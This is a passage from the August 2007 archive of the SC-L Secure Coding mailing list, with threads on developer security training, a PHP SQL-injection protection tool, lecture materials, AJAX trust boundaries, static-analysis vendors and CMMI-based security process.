> > > SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> > > as a free, non-commercial service to the software security community.
> > > _______________________________________________
> > >
> > >
> >
> >
> >--
> >Johan Peeters
> >http://johanpeeters.com
> >_______________________________________________
> >Secure Coding mailing list (SC-L) SC-L at securecoding.org
> >List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> >List charter available at - http://www.securecoding.org/list/charter.php
> >SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> >as a free, non-commercial service to the software security community.
> >___________________________________________K&??;?
>


-- 
Johan Peeters
http://johanpeeters.com


From SMigues at cigital.com  Tue Aug 21 13:10:35 2007
From: SMigues at cigital.com (Sammy Migues)
Date: Tue, 21 Aug 2007 13:10:35 -0400
Subject: [SC-L] Software Security Training for Developers
In-Reply-To: <200708201808.l7KI8mme007947@rtp-core-2.cisco.com>
References: <E47BF8624D32E7409D03C3CBB65D8A94040956DF@fmsmsx419.amr.corp.intel.com>
	<41945506397C0C4886A8C5BFF089B5CA2AC9447E94@va-mailhub.cigital.com>
	<25b6e5cf0708191151p5975e012pb18e69b9d021d747@mail.gmail.com>
	<200708201808.l7KI8mme007947@rtp-core-2.cisco.com>
Message-ID: <41945506397C0C4886A8C5BFF089B5CA2AC95B0486@va-mailhub.cigital.com>


Hi Hollis,

Thanks for the questions. I think this is the kind of information you're looking for and I've tried to keep my answers very non-salesy.

>- What languages/OS/environments are you developing in?

Well, we're a consultancy, so we develop in whatever language the client desires. (:-)

As for our defensive programming courses, we focused on JavaEE, core Java, .NET, and C/C++. We have had recent requests for COBOL, but not for PHP, Ruby, or Python, as examples.

>- Does your training address your language/OS/environment? If so, what percentage?

If I understand correctly, the answer is most training addresses it. As odd as it may seem, the general market demand is for good defensive programming techniques in the native language. Many customers ask for customization based on their threat model and specific business objectives. A smaller percentage ask for course customization for general technologies (e.g., encryption) and a much smaller percentage ask for customization based on the frameworks they are using (e.g., Spring and Acegi). On the other had, they all hate seeing examples from frameworks they don't use.

>- How long is the/each course?

We build most of our courses as 1-day modules that can be linked together (e.g., one group of lead architects and lead developers might get Fundamentals, then Architecture Risk Analysis, then Defensive Programming, while some QA folks might get Fundamentals, then Security Requirements and Abuse Cases, then Risk-Based Security Testing, and so on). A lot of organizations simply can't shut down development or testing for more than a day or two at a time.

>- did you go with inclass, self-paced, JIT or a combination. And which aspects to each?

All our classes are initially developed as instructor-led training. Some are then re-cast as eLearning.

>- What is your audience size? And what percentage did you train?
>- Over what period of time?

For Fundamentals classes, we can deal with larger class sizes (e.g., 30). For Defensive Programming, we try to cap at 20 due to the nature of the labs and the time it takes to get through the questions. For Architecture Risk Analysis, a smaller class size is a little better because it's so interactive.

Between on-site classes, conference tutorials, some public training, and so on for analysts, architects, developers, and testers, we've trained thousands of individuals over the years

>- Was it mandatory? And to Sammy's point, at what management level was it loudly supported?

Well, it was being paid for, so it was always mandatory. (:-) The more interesting question may be "Did the students go willingly?" Whenever we had time to work with management to craft a message appropriately tuned to the intended audience, we've had good, willing participation. The management level we've worked with has varied from head of engineering up to the CIO.

--Sammy.


-----Original Message-----
From: Hollis via Rubicon Recluse [mailto:hollis at rubiconrecluse.com]
Sent: Monday, August 20, 2007 2:09 PM
To: Johan Peeters
Cc: Sammy Migues; sc-l at securecoding.org
Subject: Re: [SC-L] Software Security Training for Developers

Hi Sammie and Yo,

Tkx for the good highlevel insights. A few
questions, I'm interested specifically for
developer/designers, but I'm sure others are interested in other audiences:

- What languages/OS/environments are you developing in?
- Does your training address your
language/OS/environment? If so, what percentage?
- How long is the/each course?
- did you go with inclass, self-paced, JIT or a
combination. And which aspects to each?
- What is your audience size? And what percentage did you train?
- Over what period of time?
- Was it mandatory? And to Sammy's point, at what
management level was it loudly supported?

Thanks for your insights,
Hollis



From ken at krvw.com  Thu Aug 23 08:21:29 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Thu, 23 Aug 2007 08:21:29 -0400
Subject: [SC-L] Fwd: Announcement: Releasing CORE GRASP for PHP. An open
	source, dynamic web application protection system.
References: <46CC63CF.2080603@coresecurity.com>
Message-ID: <7AD15527-781F-4BCB-8E5B-0CE06E1DBFBF@krvw.com>

FYI, I saw the following tool release announcement over on bugtraq,  
and thought it might be of interest to some of you here.  I know the  
terms "PHP" and "security" in the same sentence often are met with  
laughter here, but what the heck.  If the tool helps a few PHP  
developers write PHP apps that are hardened against SQL injection  
attacks, then why not.

Cheers,

Ken van Wyk
SC-L Moderator

Begin forwarded message:

> From: Ezequiel Gutesman <egutesman at coresecurity.com>
> Date: August 22, 2007 12:26:55 PM EDT
> To: bugtraq at securityfocus.com
> Subject: Announcement: Releasing CORE GRASP for PHP. An open  
> source, dynamic web application protection system.
>
> CORE GRASP for PHP is a web-application protection software aimed at
> detecting and blocking injection vulnerabilities and privacy  
> violations.
> As mentioned during its presentation at Black Hat USA 2007, GRASP is
> being released as open source under the Apache 2.0 license and can be
> obtained from http://gasp.coresecurity.com/.
>
> The present implementation protects PHP 5.2.3 against SQL-injection
> attacks for the MySQL engine, it can be installed with almost the same
> effort as the PHP engine, both in Unix and Windows systems, and
> protection is immediate with any PHP web application running in the
> protected server.
>
> CORE GRASP works by enhancing the PHP execution engine (VM) to permit
> byte-level taint tracking and analysis for all the user-controlled or
> otherwise untrustable variables of the web application. Tainted bytes
> are then tracked and their taint marks propagated throughout the web
> application's runtime. Whenever the web application tries to interact
> with an DB backend using SQL statements that contain tainted bytes,
> GRASP analyzes the statment and detects and prevents attacks or  
> abnormal
> actions.
>
> CORE GRASP was developed by CoreLabs, the research unit of Core  
> Security
> Technologies. At CoreLabs, we plan to improve the tool and include new
> protections shortly. However, the invitation to collaborate with the
> project is open. If you would like to collaborate, please go to the
> GRASP website and subscribe to our mailing list.
>
> Project home: http://grasp.coresecurity.com/
> Documentation, presentation and papers:
> http://grasp.coresecurity.com/index.php?m=doc
> Download: http://grasp.coresecurity.com/index.php?m=dld
>

-----
Kenneth R. van Wyk
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2454 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20070823/b38f6e87/attachment.bin 

From pmeunier at cerias.net  Thu Aug 23 16:30:14 2007
From: pmeunier at cerias.net (pmeunier)
Date: Thu, 23 Aug 2007 16:30:14 -0400
Subject: [SC-L] University lecture on Sec Sw Eng online
In-Reply-To: <687F148231CEBF449E6206E3FA7AAC3F5DC0CA@hermes.iese.fhg.de>
References: <687F148231CEBF449E6206E3FA7AAC3F5DC0CA@hermes.iese.fhg.de>
Message-ID: <46CDEE56.10000@cerias.net>

Speaking about online secure programming materials, I'd love to hear any 
feedback, positive or negative, about the course materials I posted 
online years ago at http://projects.cerias.purdue.edu/secprog/, or the 
more recent derived versions at http://www.cs.purdue.edu/homes/cs390s/

Did anyone use them at all?  What could I do to improve them?

Thanks,
Pascal Meunier
Purdue University CERIAS


Holger.Peine at iese.fraunhofer.de wrote:
> I recently completed a lecture on secure software engineering,
> and I guess there a quite a few people on this list who could
> make use of some of the material, whether for their own presentations
> or simply for teaching themselves.
> 
> The lecture was given at Kaiserslautern University of Technology as 
> 12 lessons of 90 minutes (each comprising about 35 slides) in English; 
> note that the accompanying student exercise problems are in German,
> however. 
> The chapters (of varying length, as indicated by their mapping to
> lessons) 
> are as follows:
> 
> 01   	IT Security and Software Security
> 02  	Fundamental Notions and Definitions
> 03a  	Vulnerabilities and Attacks (Part 1)
> 03b  	Vulnerabilities and Attacks (Part 2) 
> 04  	Security in the Software Development Process
> 05  	Security Requirements Elicitation 
> 06  	Threat Analysis
> 07a  	Security in Architecture and Design (Part 1)
> 07b  	Security in Architecture and Design (Part 2)
> 08a  	Secure Coding (Part 1) 
> 08b  	Secure Coding (Part 2)
> 09  	Quality Assurance
> 10, 11, 12 Process Models, Usability, and Conclusions 
> 
> You can find all the material at
> http://www.iese.fraunhofer.de/lectures/peine/materialcourse/
> 
> This was the first iteration of my first self-designed lecture; it is 
> certainly not perfect yet (in fact I already have some improvements
> sketched for the next iteration, such as reorganizing the process
> material), so criticism is welcome. 
> 
> I know of few comparable lectures world-wide, i.e. university lectures
> covering 
> security specifically from a software engineering viewpoint; so far, I'm
> aware of the lectures by Pascal Meunier at Purdue and by Dieter Gollmann
> 
> at Hamburg-Harburg;  if you know of any others, I'd be glad to hear
> about 
> those, too.
> 
> Kind regards from Germany,
> Holger Peine
> 


From gem at cigital.com  Fri Aug 24 16:25:50 2007
From: gem at cigital.com (Gary McGraw)
Date: Fri, 24 Aug 2007 16:25:50 -0400
Subject: [SC-L] Silver Bullet: Eric Cole
Message-ID: <41945506397C0C4886A8C5BFF089B5CA2AC95B09CD@va-mailhub.cigital.com>

Hi sc-l,

A few silver bullet listeners (who lurk on sc-l) asked me whether I could do a few more practitioners on silver bullet (as opposed to academics).  Towards that end, my latest episode is a chat with Eric Cole.  Eric Cole is a security practitioner and a well known star trainer.

http://www.cigital.com/silverbullet/show-017/

Feedback would be great!

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com


From gem at cigital.com  Mon Aug 27 09:08:25 2007
From: gem at cigital.com (Gary McGraw)
Date: Mon, 27 Aug 2007 09:08:25 -0400
Subject: [SC-L] Software Engineering Radio
Message-ID: <41945506397C0C4886A8C5BFF089B5CA2AC95B0A98@va-mailhub.cigital.com>

Hi sc-l,

Software engineers should be a primary audience for software security, but sadly we've only scratched the surface of awareness.  Every once in a while, security does pop up on the software engineering radar (perhaps in a track at SD West, ROOTS, or OOPSLA).  The podcast "Software Engineering Radio" released an interview that I recorded with them recently as a run up to an OOPSLA Tutorial I am doing this year:

http://www.se-radio.net/index.php?post_id=237927

It's a long one (41 minutes) recorded in Germany.

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com




From crispin at novell.com  Tue Aug 28 05:42:33 2007
From: crispin at novell.com (Crispin Cowan)
Date: Tue, 28 Aug 2007 02:42:33 -0700
Subject: [SC-L] Insider threats and software
In-Reply-To: <C2EB27C2.EA86%paco@cigital.com>
References: <C2EB27C2.EA86%paco@cigital.com>
Message-ID: <46D3EE09.8050909@novell.com>

Paco Hope wrote:
> On 8/16/07 7:44 PM, "silky" <michaelslists at gmail.com> wrote:
>
> how is this different then sending malformed packets to an rpc interface?
> ...
> Now I'll gently disagree with Gary, who is my boss, so you know I'll hear about it in the hallways... I think this feels more like "privilege escalation" than "insider threat." The distinction being that these attacks allow an authorized user who has liimited privileges to escalate their privileges and do things that they shouldn't be able to do. An insider (to me) is a person who already had that privilege and status when they started their attack. (Read Kevin Wall's follow-up on darkreading.com he has good things to say on who are insiders and outsiders).  Where we are prone to confusion, I think, is that outsiders or limited authorized users can have the same IMPACT as an insider, when the privilege escalation is sufficiently bad.
>   
Gary has an interesting but fairly obvious idea, that AJAX clients are
exceptionally vulnerable to the environment they run in. Said clients
are also part of a distributed computing system between the AJAX client,
the web front end, and whatever back-end systems are involved.

Is this an "insider" threat? Only if the people who coded the server
were dumb enough to treat the AJAX client as if it were an insider
component. Never do that.

This is web security 101: always always always check your input
parameters, and especially if they are coming from a web client.

There is a risk here that AJAX developers will get confused, lazy,
sloppy, about whether the AJAX client component is trusted or not. It is
not clear to me yet whether the AJAX dev tools that are emerging make
that mistake pervasive, or if it requires a special kind of stupid to
make that mistake.

Is this really an insider threat? I think that is stretching things, but
not a huge amount.

Gary also brings up references to his book on hacking games. Small-scale
distributed games are the same as web apps; never trust the client.
Large scale MMORP games (everything from World of Warcraft to Second
Life) are economically mandated to shift as much computational burden
onto the client as possible, and that entails inevitably trusting the
clients more than security really can tolerate. Such games are
inherently insecure; look for more hacking to occur. Read more about it
in this Oakland 2007 paper, with an interesting solution to this problem:

    /Enforcing Semantic Integrity on Untrusted Clients in Networked
    Virtual Environments (Extended abstract)/
    Somesh Jha, Stefan Katzenbeisser, Christian Schallhart, Helmut Veith
    and Stephen Chenney
    http://csdl2.computer.org/persagen/DLAbsToc.jsp?resourcePath=/dl/proceedings/&toc=comp/proceedings/sp/2007/2848/00/2848toc.xml&DOI=10.1109/SP.2007.3

Crispin

-- 
Crispin Cowan, Ph.D.               http://crispincowan.com/~crispin/
Director of Software Engineering   http://novell.com
	AppArmor Chat: irc.oftc.net/#apparmor


From James.McGovern at thehartford.com  Tue Aug 28 10:21:47 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Tue, 28 Aug 2007 10:21:47 -0400
Subject: [SC-L] Software Security Training for Developers
In-Reply-To: <010501c7e07d$aab7bb10$e501a8c0@test>
References: <E47BF8624D32E7409D03C3CBB65D8A94040956DF@fmsmsx419.amr.corp.intel.com>
	<010501c7e07d$aab7bb10$e501a8c0@test>
Message-ID: <773F863A6009244B87E6E866AFC7DB460399A03A@AD1HFDEXC309.ad1.prod>

One of the things that is somewhat frustrating as a customer to training
and software vendors are statements such as "some general policy and
guidelines" without any pointers to what they should specifically
contain. Public URLs are greatly appreciated.


________________________________

From: sc-l-bounces at securecoding.org
[mailto:sc-l-bounces at securecoding.org] On Behalf Of Nish Bhalla
Sent: Thursday, August 16, 2007 11:21 PM
To: 'McCown, Christian M'
Cc: sc-l at securecoding.org
Subject: Re: [SC-L] Software Security Training for Developers



Hi Chris,

 

We at Security Compass have been doing that for developers for about 2
years now. We have done this type of training and also the training from
the pen tester angle. 

 

Some of the things that we have seem make this training much more
effective are

 

[] If the direction for the training and security initiative is coming
in from the top rather than just from one manager (not to say that
having it from one manager doesn't help)

[] If there are some general policy and guidelines to building secure
software

[] If there are general guidelines to build secure architecture

[] if there are though processes in place for updating the existing SDLC
with security in place to improve the overall direction of the company
towards a more secure application development practice

[] Finally if the training is developed around these kind of practices
and customized to your specific environment.

 

We also think providing different kinds of training for different levels
of people is important, i.e. a training for managers, a training for
architects, a training for QA/Security professionals and finally a
training for developers. Each has a specific goal in mind and speaking
in the individual language so to speak to each group.

 

Hope this helps, If you would like to chat more just email me.

 

Nish.



*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070828/eb99f50c/attachment.html 

From James.McGovern at thehartford.com  Tue Aug 28 10:27:50 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Tue, 28 Aug 2007 10:27:50 -0400
Subject: [SC-L] Software Security Training for Developers
In-Reply-To: <E47BF8624D32E7409D03C3CBB65D8A94040956DF@fmsmsx419.amr.corp.intel.com>
References: <E47BF8624D32E7409D03C3CBB65D8A94040956DF@fmsmsx419.amr.corp.intel.com>
Message-ID: <773F863A6009244B87E6E866AFC7DB460399A03B@AD1HFDEXC309.ad1.prod>

My general observation of training firms in this area is that they all
tend to use freelance trainers who float between the firms. The notion
of customized courseware is something they sell as a feature but
honestly feels more like a way to avoid actually developing consistent
training approaches where they instead rely on the individual hired
trainer and what they happen to feel comfortable teaching.
 
The issue with training in the language/platform of choice gets more
difficult depending upon what type of environment you reside. If you
look inside the average Fortune enterprise whose primary business model
isn't technology (e.g. Intel, IBM, Microsoft, etc) then you will tend to
find lots of variety of languages used in production environments with
no language (with the exception of possibly COBOL) being dominant. This
simple fact causes enterprises who have a variety of languages when
combined with the need for across the board training to make training
non-specific to any particular language.
 
Many of the tools also give feedback in a language-specific context
while writing code, so at some level I do believe that language-specific
training is not required.

________________________________

From: sc-l-bounces at securecoding.org
[mailto:sc-l-bounces at securecoding.org] On Behalf Of McCown, Christian M
Sent: Thursday, August 16, 2007 7:23 PM
To: sc-l at securecoding.org
Subject: [SC-L] Software Security Training for Developers




What are folks' experiences with software security training for
developers?  By this, I'm referring to teaching developers how to write
secure code.  Ex. things like how to actually code input validation
routines, what "evil" functions and libraries to avoid, how to handle
exceptions without divulging too much info, etc.  Not "how to hack
applications".  There are quality courses and training that show you how
to break into apps--which are great, but my concern is that if you are a
developer (vs. a security analyst, QA type, pen-tester, etc.),even when
you know what could happen, unless you've been specifically taught how
to implement these concepts  in your language/platform of choice (ASP
.NET, C#, Java, etc.), you're not getting the most bang for the buck
from them.


What vendors teach it? 
How much does it cost? 
Actual impact realized? 

Tx 

____ 
Chris McCown, GSEC(Gold) 
Intel Corporation 
* (916) 377-9428 | * c.mccown at intel.com <mailto:c.mccown at intel.com>  



*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070828/91a08151/attachment-0001.html 

From James.McGovern at thehartford.com  Tue Aug 28 10:38:40 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Tue, 28 Aug 2007 10:38:40 -0400
Subject: [SC-L] Security Testing track: Software Testing
 Conference:Washington DC
In-Reply-To: <C2EA045A.EA3A%paco@cigital.com>
References: <C2EA045A.EA3A%paco@cigital.com>
Message-ID: <773F863A6009244B87E6E866AFC7DB460399A03C@AD1HFDEXC309.ad1.prod>

 Upon reading this, I had several thoughts come to mind:

1. If we are to truly solve the last mile, we need to also choose more
mainstream conferences such as STPCon (http://www.stpcon.com) since they
also have an associated magazine (Software Test and Performance) which
may stimulate more magazine articles on the topic. I did a quick run
upstairs to our QA folks and asked them what magazines do they read as
well as awareness of certain conferences.

2. What do you think we can do as a unified group of individuals in
terms of a listserv to encourage various industry analyst firms such as
Gartner, Forrester and The Burton Group to talk about Secure Software
Testing as a research area? Many CIOs and other IT executives put lots
of value into what they say. We need more top down.

3. What would it take to get more speaker diversity? We have to figure
out how to get more end-customers telling their own stories vs vendors
and consulting firms

-----Original Message-----
From: sc-l-bounces at securecoding.org
[mailto:sc-l-bounces at securecoding.org] On Behalf Of Paco Hope
Sent: Thursday, August 16, 2007 1:41 PM
To: Secure Coding
Subject: [SC-L] Security Testing track: Software Testing
Conference:Washington DC


Hey folks,

One of my strong beliefs is that we're never going to close the loop on
"Building Security In" until we get the QA side of the house involved in
security. To that end, I'm co-chairing VERIFY 2007, a software testing
conference where we have a security testing track. (In addition to more
typical QA issues like test automation) I thought some folks on this
list may be interested in attending, or passing it on to your colleagues
in QA organizations.

Conference web site is http://verifyconference.com/ and you can get a
2-page "Conference in a Nutshell" PDF here:
http://verifyconference.com/images/verify/verify2007.pdf

Please help me spread the word.

Thanks,
Paco
--
Paco Hope, CISSP
Co-Chair, VERIFY 2007
http://verifyconference.com/ * +1.703.606.1905


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From James.McGovern at thehartford.com  Tue Aug 28 10:42:43 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Tue, 28 Aug 2007 10:42:43 -0400
Subject: [SC-L] how far we still need to go
In-Reply-To: <p05200f22c2cdb5c22085@[192.168.1.254]>
References: <46A751ED.1030503@acm.org> 
	<701fd6b60707251803v586187f1rc1e62c9ab1ef365f@mail.gmail.com> 
	<p05200f22c2cdb5c22085@[192.168.1.254]>
Message-ID: <773F863A6009244B87E6E866AFC7DB460399A03D@AD1HFDEXC309.ad1.prod>

 Many folks have talked about certification of individuals but is there
merit in noodling the notion of a security maturity model? What if
end-customers could rank their software vendors in a transparent manner
in the same way that outsourcing firms pursue CMMi? 

The notion of third-party assessors that determine this form of
certification could be supplemental revenue for those who are employed
by consulting firms. Could be similar to SCRUMAlliance certification if
you prefer something lighter weight.

-----Original Message-----
From: sc-l-bounces at securecoding.org
[mailto:sc-l-bounces at securecoding.org] On Behalf Of ljknews
Sent: Wednesday, July 25, 2007 10:23 PM
To: SC-L at securecoding.org
Subject: Re: [SC-L] how far we still need to go

At 2:03 AM +0100 7/26/07, Dinis Cruz wrote:
> It's a simple economics problem. The moment these companies and 
>developers lose sales (or market share) because their products require 
>admin / root privileges to run, is the moment they start to REALLY 
>support it.

For Windows that day might be when they have to run under the new US
federal government standard Windows configuration, due out any month
now.
--
Larry Kilgallen


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From nish at securitycompass.com  Tue Aug 28 15:43:32 2007
From: nish at securitycompass.com (Nish Bhalla)
Date: Tue, 28 Aug 2007 15:43:32 -0400
Subject: [SC-L] Software Security Training for Developers
In-Reply-To: <773F863A6009244B87E6E866AFC7DB460399A03A@AD1HFDEXC309.ad1.prod>
References: <E47BF8624D32E7409D03C3CBB65D8A94040956DF@fmsmsx419.amr.corp.intel.com>
	<010501c7e07d$aab7bb10$e501a8c0@test>
	<773F863A6009244B87E6E866AFC7DB460399A03A@AD1HFDEXC309.ad1.prod>
Message-ID: <004b01c7e9ab$b83ea0a0$ee01a8c0@test>

Hi James,

 

I am not sure if my email was interpreted correctly. What I was saying is
the things to do to customizing the training to fit your individual
environment for example "if you have specific policies and/or guidelines"
they are integrated into the training.

 

For example: if you have a password policy for your web application saying
that the passwords should be atleast 9 characters long alpha numeric, then
when teaching a developers class this should be explicitly called out and
shown or if you are required to be PCI compliant, often debug logs have
credit card information or passwords or session id stored in them in clear
text. This should be explicitly called out and developers need to be made
aware of them.

 

Hope this helps clarify what I was saying. 

 

Our class does cover generic policies and guidelines in terms of best
practices and is part of course material.  If you would like to know more
about them, might I suggest talking offline and discussing it in more detail
?

 

Regards,

 

Nish.

 

 

  _____  

From: McGovern, James F (HTSC, IT) [mailto:James.McGovern at thehartford.com] 
Sent: Tuesday, August 28, 2007 10:22 AM
To: Nish Bhalla
Cc: sc-l at securecoding.org
Subject: RE: [SC-L] Software Security Training for Developers

 

One of the things that is somewhat frustrating as a customer to training and
software vendors are statements such as "some general policy and guidelines"
without any pointers to what they should specifically contain. Public URLs
are greatly appreciated.

 

  _____  

From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org]
On Behalf Of Nish Bhalla
Sent: Thursday, August 16, 2007 11:21 PM
To: 'McCown, Christian M'
Cc: sc-l at securecoding.org
Subject: Re: [SC-L] Software Security Training for Developers

Hi Chris,

 

We at Security Compass have been doing that for developers for about 2 years
now. We have done this type of training and also the training from the pen
tester angle. 

 

Some of the things that we have seem make this training much more effective
are

 

[] If the direction for the training and security initiative is coming in
from the top rather than just from one manager (not to say that having it
from one manager doesn't help)

[] If there are some general policy and guidelines to building secure
software

[] If there are general guidelines to build secure architecture

[] if there are though processes in place for updating the existing SDLC
with security in place to improve the overall direction of the company
towards a more secure application development practice

[] Finally if the training is developed around these kind of practices and
customized to your specific environment.

 

We also think providing different kinds of training for different levels of
people is important, i.e. a training for managers, a training for
architects, a training for QA/Security professionals and finally a training
for developers. Each has a specific goal in mind and speaking in the
individual language so to speak to each group.

 

Hope this helps, If you would like to chat more just email me.

 

Nish.



*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information. If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited. If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070828/26e2b77e/attachment.html 

From James.McGovern at thehartford.com  Wed Aug 29 10:51:54 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Wed, 29 Aug 2007 10:51:54 -0400
Subject: [SC-L] Really dumb questions?
In-Reply-To: <46BBAB90.2080605@acm.org>
References: <251191.31781.qm@web53706.mail.re2.yahoo.com> 
	<A6ECCD6E-DA92-4D4A-BD51-81FE06B7F232@krvw.com> 
	<46BBAB90.2080605@acm.org>
Message-ID: <773F863A6009244B87E6E866AFC7DB460399A05E@AD1HFDEXC309.ad1.prod>

Most recently, we have met with a variety of vendors including but not
limited to: Coverity, Ounce Labs, Fortify, Klocwork, HP and so on. In
the conversation they all used interesting phrases to describe they
classify their competitors value proposition. At some level, this has
managed to confuse me and I would love if someone could provide a way to
think about this in a more boolean way.

- So when a vendor says that they are focused on quality and not
security, and vice versa what exactly does this mean? I don't have a
great mental model of something that is a security concern that isn't a
predictor of quality. Likewise, in terms of quality, other than
producing metrics on things such as depth of inheritance, cyclomatic
complexity, etc wouldn't bad numbers here at least be a predictor of a
bad design and therefore warrant deeper inspection from a security
perspective?

- Even if the rationale is more about people focus rather than tool
capability, is there anything else that would prevent one tool from
serving both purposes?

- Is it reasonable to expect that all of the vendors in this space will
have the ability to support COBOL, Ruby and Smalltalk sometime next year
so that customers don't have to specifically request it?

- Do the underlying compilers need to do something different since
languages such as COBOL aren't object-oriented which would make analysis
a bit different?


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From James.McGovern at thehartford.com  Wed Aug 29 10:58:37 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Wed, 29 Aug 2007 10:58:37 -0400
Subject: [SC-L] Software process improvement produces secure software?
In-Reply-To: <184D5FFC5203644FB4F8864B0EE445B4E73CEF@MCLNEXVS06.resource.ds.bah.com>
References: <251191.31781.qm@web53706.mail.re2.yahoo.com> 
	<184D5FFC5203644FB4F8864B0EE445B4E73CEF@MCLNEXVS06.resource.ds.bah.com>
Message-ID: <773F863A6009244B87E6E866AFC7DB460399A05F@AD1HFDEXC309.ad1.prod>

One thing that I am firm in my belief is that process is not a substitute for competence. Imagine taking lots of overweight IT guys and training them to ride a horse. That doesn't mean that they will go on to become successful horse jockeys and you would be dumb to bet on them.
 
In terms of CMMi, my thought says that buyers of consulting services and enterprise software need an independent way of quantifying what they are buying from a security perspective. While the logic used in outsourcing is flawed, buyers still prefer outsourcing firms that have higher levels of CMMI than those that don't. 
 
In the same way this listserv attempts to help folks write secure software, we need a way to help folks also procure secure software and stealing some aspects of CMMi while compromising some level of integrity will have lift in the long run.

________________________________

From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org] On Behalf Of Goertzel, Karen
Sent: Tuesday, August 07, 2007 9:39 AM
To: sc-l at securecoding.org
Subject: Re: [SC-L] Software process improvement produces secure software?



I've always had a question about this as well; specifically, what is really meant by "adding security to a CMM"?

I've always felt that the level at which the software (or system) process is defined by a CMM is too high and too abstract for the addition of security activities to be particularly meaningful.

My feeling is that a CMM is best used as a means of ensuring that the more detailed life cycle process is implemented in a disciplined manner, and that the amount of benefit, in terms of improvement of whatever property one is trying to improve - quality, reliability, security, safety - of the system/software that results from the process can be measured.

Where the actual security activities need to be defined and added are to the life cycle methodology. At best, adding security to a CMM can provide a very high level framework for helping someone who is "shopping" for a life cycle methodology know what to look for in that methodology. Is a CMM necessary for that purpose? I'm not convinced that it is.

I think what is likely to be more effective is a change in outlook by the practitioners who will be using the life cycle methodology. Their outlook needs to change so that a single question is asked before any choice or decision is made: What are the security implications of the choice/decision?

Of course, there's much more to it than just asking that question. And that's the reason we need to train developers, testers, etc. to (1) understand what "security" means, both at the software and system levels; (2) visualise and recognise the possible impact(s) each of their choices/decisions could have on the security of the system they are building (before the fact); (3) recognise the impacts each of their choices/decisions has had on the security of the system they have built (after the fact). Tools and techniques to help developers do the second and third of these are proliferating (e.g., threat modeling, attack trees, etc. for before-the-fact; analysis and testing tools for after-the-fact). But in the end, I believe the #1 factor that will contribute to the increased security of software is the developer's mentality. A security-aware...and more importantly, a security-*concerned&...developer is more likely to (1) avoid making bad choices and decisions, and (2) to take an interest in, and pursue becoming, knowledgeable enough to correct bad choices that he/she did not avoid making earlier.

--
Karen Mercedes Goertzel, CISSP
Booz Allen Hamilton
703.902.6981
goertzel_karen at bah.com




-----Original Message-----
From: sc-l-bounces at securecoding.org on behalf of Francisco Nunes
Sent: Tue 07-Aug-07 07:01
To: sc-l at securecoding.org
Subject: [SC-L] Software process improvement produces secure software?

Dear list members.

In june 2007, I had an interesting conversation with
Mr. Will Hayes from SEI during the Brazilian Symposium
on Software Quality. It was a great experience and I
am very grateful for this.

During our conversation, I made a question to Mr.
Hayes similar to this: "Is it possible that only
software development process improvements can produce
secure software?"

The scenario was only based on CMMI without security
interference.

His answer to this question was "YES". My answer was
"I DO NOT THINK SO".

His answer made me confuse and I had no arguments,
mainly, because my professional experience in software
process does not compare to Mr. Haye's experience.

Unfortunately, I also haven't found any statistics
which could answer this question. Please, if there is
one, let me know!

So, how about you, list members? What are your answers
to the question above?

I will try to organize your answers and present the
final result.

Thank you.

Yours faithfully,
Francisco Jos? Barreto Nunes.


      Alertas do Yahoo! Mail em seu celular. Saiba mais em http://br.mobile.yahoo.com/mailalertas/
_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
